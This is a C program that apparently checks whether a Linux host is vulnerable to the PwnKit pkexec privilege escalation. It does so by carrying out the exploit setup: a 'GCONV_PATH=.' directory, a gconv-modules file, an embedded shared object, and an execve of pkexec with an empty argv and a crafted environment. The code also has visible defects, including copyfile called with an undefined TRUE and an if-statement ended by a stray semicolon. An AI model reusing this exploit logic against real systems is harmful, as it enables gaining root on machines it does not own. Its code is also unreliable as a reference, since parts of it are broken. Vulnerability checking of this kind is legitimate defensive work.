#include <stdio.h>
#include <fcntl.h>
#include <dirent.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/wait.h>
#include "pwnkit-dry-run.so_data.h"

#define TESTDIR "/tmp/pwnkit-dry-run"

#define EXPLOITABLE_OR_ERROR 1

static int removedir(const char *path)
{
	struct dirent *entry;
	DIR *directory = opendir(path);

	char filename[PATH_MAX + 1];
	if (directory == NULL)
		return -1;

	while ((entry = readdir(directory)) != NULL) {
		if (!strcmp(".", entry->d_name))
			continue;
		if (!strcmp("..", entry->d_name))
			continue;

		snprintf(filename, PATH_MAX, "%s/%s", path, entry->d_name);

		if (entry->d_type == DT_DIR)
			removedir(filename);
		else
			remove(filename);
	}
	closedir(directory);

	return remove(path);
}

static int copyfile(const char *input, const char *output)
{
	int ret = 0;
	int ofd = 0;
	FILE *in, *out;
	unsigned char buffer[4096];
	in = fopen(input, "rb");
	if (in == NULL)
		return -1;

	ofd = open(output, O_WRONLY | O_CREAT, 0700);
	if (ofd < 0)
		return -1;

	out = fdopen(ofd, "wb");
	if (out == NULL)
		return -1;

	while (!feof(in) && !ferror(in) && !ferror(out)) {
		size_t i = 0;
		int r = fread(buffer, 1, sizeof(buffer), in);
		for (i = 0 ; i < r && !ferror(in) && !ferror(out);) {
			int w = fwrite(buffer + i, 1, sizeof(buffer) - i, out);
			i += w;
		}
	}

	ret = ferror(in) || ferror(out);

	fclose(in);
	fclose(out);

	return ret;
}

static int createandwritefile(const char *dest, const char *content)
{
	FILE *f = fopen(dest, "w");
	if (f == NULL)
		return -1;

	fprintf(f, "%s\n", content);
	fclose(f);
	return 0;
}

static int createsharedobjectpwnkit(const char *outputname)
{
	int ret = 0;
	int wrote = 0;
	int fd;
	FILE *f;

	fd = open(outputname, O_WRONLY | O_CREAT, 0700);
	if (fd < 0)
		return -1;

	f = fdopen(fd, "wb");
	if (f == NULL)
		return -1;

	while (wrote < pwnkit_dry_run_so_len) {
		int w = fwrite(pwnkit_dry_run_so + wrote, 1,
			       pwnkit_dry_run_so_len - wrote, f);
		wrote += w;
	}

	ret = ferror(f);
	fclose(f);

	return ret;
}

int main(int argc, char **argv)
{
	pid_t p;
	int wstatus = 0;
	int exitcode = EXPLOITABLE_OR_ERROR;
	char * const args[] = {
		NULL
	};
	char * const environ[] = {
		"pwnkit.so:.",
		"PATH=GCONV_PATH=.",
		"SHELL=/lol/i/do/not/exists",
		"CHARSET=PWNKIT",
		"GIO_USE_VFS=",
		NULL
	};

	mkdir(TESTDIR, 0750);

	if (chdir(TESTDIR) != 0)
		return EXPLOITABLE_OR_ERROR;

	mkdir("GCONV_PATH=.", 0750);

	if (copyfile(TRUE, "GCONV_PATH=./pwnkit.so:.") != 0)
		return EXPLOITABLE_OR_ERROR;

	if (createandwritefile("gconv-modules", "module UTF-8// PWNKIT// pwnkit 1") != 0)
		return EXPLOITABLE_OR_ERROR;

	if (createsharedobjectpwnkit("pwnkit.so"));

	p = fork();
	switch (p) {
		case -1:
			perror("fork");
			break;

		case 0:
			return execve("/usr/bin/pkexec", args, environ);

		default:
			wait(&wstatus);
			while (!WIFEXITED(wstatus))
				wait(&wstatus);
			exitcode = WEXITSTATUS(wstatus);
			break;
	}

	removedir(TESTDIR);

	if (exitcode != 0)
		return 1 - EXPLOITABLE_OR_ERROR;

	return EXPLOITABLE_OR_ERROR;
}

